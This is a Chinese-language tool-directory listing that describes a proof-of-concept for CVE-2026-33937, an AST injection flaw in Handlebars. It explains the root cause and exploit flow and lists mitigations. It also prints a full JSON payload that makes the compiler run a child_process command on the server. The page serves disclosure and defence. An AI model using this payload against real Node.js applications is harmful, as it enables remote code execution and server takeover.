Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2026-33937 — CVE-2026-33937 的概念验证漏洞利用程序,这是一个 Handlebars AST 注入漏洞,可导致 Node.js 中的远程代码执行。演示了精心构造的 AST 载荷,并提供缓解指导。 | Kitploit
工具/GitHubGitHub/dinhvaren/cve-2026-33937
漏洞分析代码分析漏洞利用Web应用程序漏洞利用Payload 开发
GitHubdinhvaren/cve-2026-33937

cve-2026-33937

CVE-2026-33937 的概念验证漏洞利用程序,这是一个 Handlebars AST 注入漏洞,可导致 Node.js 中的远程代码执行。演示了精心构造的 AST 载荷,并提供缓解指导。

查看仓库
3个月前尚未审核
网站

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-33937 - Handlebars RCE 漏洞利用 PoC

描述

CVE-2026-33937 是 Handlebars 中的一个严重远程代码执行(RCE)漏洞,由对抽象语法树(AST)输入的不安全处理引起。

该漏洞允许攻击者通过向 Handlebars.compile() 提供精心构造的 AST 对象来注入任意 JavaScript 代码。

根本原因

Handlebars.compile() 接受两种输入:

  • 模板字符串
  • 预解析的 AST 对象

当提供 AST 对象时,解析阶段会被跳过。

在:

root@kitploit:~
lib/handlebars/compiler/javascript-compiler.js

中,函数:

root@kitploit:~
NumberLiteral(number) {
  this.pushStackLiteral(number.value);
}

直接将 number.value 插入到生成的 JavaScript 代码中,未经任何清理或转义,从而导致代码注入。

影响

  • 远程代码执行(RCE)
  • 服务器完全沦陷
  • 在 Node.js 环境中执行任意 JavaScript

漏洞利用流程

root@kitploit:~
攻击者 → 精心构造的 AST(JSON)
        │
        ▼
Handlebars.compile()
        │
        ▼
Compiler.compile()
        │
        ▼
JavaScriptCompiler(NumberLiteral 注入)
        │
        ▼
代码生成
        │
        ▼
new Function(...) / eval()
        │
        ▼
       RCE

概念验证(PoC)

root@kitploit:~
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": ["lookup"],
        "original": "lookup",
        "loc": null
      },
      "params": [
        {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": [],
          "original": "this",
          "loc": null
        },
        {
          "type": "NumberLiteral",
          "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
          "original": 1,
          "loc": null
        }
      ],
      "escaped": true,
      "strip": { "open": false, "close": false },
      "loc": null
    }
  ],
  "strip": {},
  "loc": null
}

受影响版本

  • Handlebars <= 4.7.8

缓解措施

  • 不允许不受信任的 AST 输入
  • 验证并清理所有模板输入
  • 升级到已修补的 Handlebars 版本

参考

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33937
下载工具